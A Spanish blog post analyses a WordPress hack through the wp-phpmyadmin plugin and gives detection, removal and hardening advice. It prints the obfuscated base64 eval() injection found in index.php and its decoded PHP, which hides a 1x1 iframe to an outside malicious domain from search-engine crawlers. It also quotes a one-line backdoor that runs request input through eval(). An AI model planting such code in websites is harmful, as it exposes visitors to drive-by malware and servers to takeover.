En los últimos meses hemos sido testigos de un ataque similar sobre algunos blogs a los que tenemos acceso. WordPress hackeado, con un iframe al comienzo de las páginas y que los buscadores no detectaban como página peligrosa. Sólo algunos antivirus de los usuarios se daban cuenta del ataque. Y el culpable (o donde residía la backdoor) era el plugin de wp-phpmyadmin.

El plugin de wp-phpmyadmin tiene una utilidad importante cuando no tienes acceso de otro modo a la base de datos de tu instalación de WordPress. Pero el precio que se puede pagar por usarlo, después de haber comprobado la vulnerabilidad que trae consigo, es bastante alto.

El plugin no se actualiza desde el 2007 (con wp 1.5), no se puede encontrar en el repositorio oficial de plugins de WordPress (http://wordpress.org/extend/plugins/), y lo más importante: se había conseguido introducir un fichero dentre el resto de ficheros del plugin que abría una puerta trasera a nuestro sistema.

Pero vamos por partes y a explicar cómo funciona este hack de WordPress con detalle:

El ataque consistía en introducir en los ficheros index.php una línea justo detrás del primer <?php . Aquí tenemos un ejemplo:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly8yZ3V2a2w1NW9mLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==');

Este código codificado, daba el siguiente fragmento de php tras decodificarlo, fragmento que acababa pintando un iframe antes de la etiqueta <?html>? en los blog al pasarlo por la función eval():

error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
 array("216.239.32.0","216.239.63.255"),
 array("64.68.80.0"  ,"64.68.87.255"  ),
 array("66.102.0.0",  "66.102.15.255"),
 array("64.233.160.0","64.233.191.255"),
 array("66.249.64.0", "66.249.95.255"),
 array("72.14.192.0", "72.14.255.255"),
 array("209.85.128.0","209.85.255.255"),
 array("198.108.100.192","198.108.100.207"),
 array("173.194.0.0","173.194.255.255"),
 array("216.33.229.144","216.33.229.151"),
 array("216.33.229.160","216.33.229.167"),
 array("209.185.108.128","209.185.108.255"),
 array("216.109.75.80","216.109.75.95"),
 array("64.68.88.0","64.68.95.255"),
 array("64.68.64.64","64.68.64.127"),
 array("64.41.221.192","64.41.221.207"),
 array("74.125.0.0","74.125.255.255"),
 array("65.52.0.0","65.55.255.255"),
 array("74.6.0.0","74.6.255.255"),
 array("67.195.0.0","67.195.255.255"),
 array("72.30.0.0","72.30.255.255"),
 array("38.0.0.0","38.255.255.255")
 );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
 if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://2guvkl55of.co.tv/?go=1" width="1" height="1"></iframe>';
}

Este iframe se intentaba ocultar a los robots de los buscadores y de rastreadores importantes para evitar que saltasen las alarmas de estos, y pusiesen en aviso al dueño del blog mediante alarmas al correo electrónico, bloqueos de su página desde la página de resultados de búsqueda, etc. Así podía permanecer el mayor tiempo posible estando oculto.

El contenido del iframe cargaba una direccion de un servidor (todos los distintos dominios que hemos podido comprobar estaban en Rumanía), donde se podía pintar cualquier cosa, seguramente troyanos javascript que comprometiesen la seguridad del usuario que visitase la web.




Cómo saber si tengo esta puerta trasera en mi sistema, y como solucionarlo (detección, solución y prevención):


- Comprobar si tenemos el plugin de wp-phpmyadmin, y buscar el fichero phpmyadmin/upgrade.php dentro del mismo. Renombrar la extensión o eliminar este fichero, sobre todo si tiene dentro unas instrucciones parecida a estas:

<?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?>

- Buscar en el resto de ficheros de wp-content la cadena ‘eval(stripslashes‘ (por ejemplo), y comprobar en los resultados si alguno se parece a la línea anterior.

- Mantener una política estricta de permisos sobre los ficheros de la instalación de WordPress. Si los ficheros index.php hubiesen estado correctamente configurados en cuanto a permisos, tal y como aconsejan en http://codex.wordpress.org/Hardening_WordPress la infección se hubiese podido evitar.

- Por supuesto, mantener nuestros plugins actualizados, junto con la última versión de WordPress siempre instalada. Y si alguno de los plugins deja de tener soporte o no se continúa su desarrollo, mejor optar por descartarlo y comenzar a buscar un sustituto del mismo.

Más info:

http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html

http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/

Especial cuidado también con los plugins wptouch, addthis y w3-total-cache:


http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/